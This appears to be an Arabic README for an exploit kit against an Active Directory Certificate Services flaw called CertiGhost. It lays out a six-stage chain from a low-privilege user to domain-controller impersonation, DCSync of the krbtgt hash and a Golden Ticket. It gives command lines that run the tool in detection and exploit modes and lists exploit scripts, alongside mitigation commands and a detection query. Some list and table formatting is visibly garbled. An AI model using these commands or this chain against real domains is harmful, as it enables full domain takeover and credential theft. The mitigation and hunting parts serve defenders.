
عدة استغلال لـ AD CS CVE-2026-54121: يمكن للمستخدمين ذوي الامتيازات المنخفضة في المجال انتحال شخصية وحدة تحكم بالمجال، وتزوير الشهادات، واختراق المجال عبر DCSync/Golden Ticket.
CertiGhost هي ثغرة حرجة (CVSS 8.8) في خدمات شهادات Active Directory (AD CS) تسمح لمستخدم نطاق منخفض الامتياز بانتحال شخصية وحدة تحكم مجال (Domain Controller) وتحقيق اختراق كامل للمجال.
تتيح آلية "Chase Fallback" في AD CS لمقدم الطلب إرسال خصائص cdc (Client DC) و rmd (Remote Domain) في طلب الشهادة. يتبع CA هدف cdc لتحليل بيانات الهوية دون التحقق من أنه وحدة تحكم مجال شرعية.
سلسلة الهجوم:
ms-DS-MachineAccountQuota)cdc يشير إلى مضيف المهاجمkrbtgt → Golden Ticket → اختراق كامل للمجال| المستند | المحتوى |
|---|---|
| USAGE.md | دليل استخدام مفصل مع إرشادات خطوة بخطوة |
| DIAGRAM.md | مخططات البنية وتصور تدفق الهجوم |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
انظر DIAGRAM.md لمخططات البنية الكاملة.
pip install -r requirements.txt
# Unauthenticated scan
python ad_detect.py
# Authenticated scan (recommended)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# With specific DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuotaEDITF_ENABLECHASECLIENTDCms-DS-MachineAccountQuota > 0 (الافتراضي: 10)# Apply July 2026 Security Update on all CA servers
# Temporary mitigation - disable chase fallback
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota على 0ENROLLEE_SUPPLIES_SUBJECT من القوالبcdc/rmdوفقًا لمدونة Microsoft Threat Protection، انشر استعلام الصيد المتقدم التالي:
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| الملف | الغرض |
|---|
certighost_exploit.py | تنفيذ سلسلة الاستغلال الكاملة |
certighost_test.py | عدة اكتشاف واستغلال مع واجهة سطر أوامر (CLI) |
ad_detect.py | فحص اكتشاف سريع وموجّه |
test_exploit.py | اختبارات وحدة لجميع مكونات الاستغلال (55 اختبارًا) |
requirements.txt | تبعيات Python |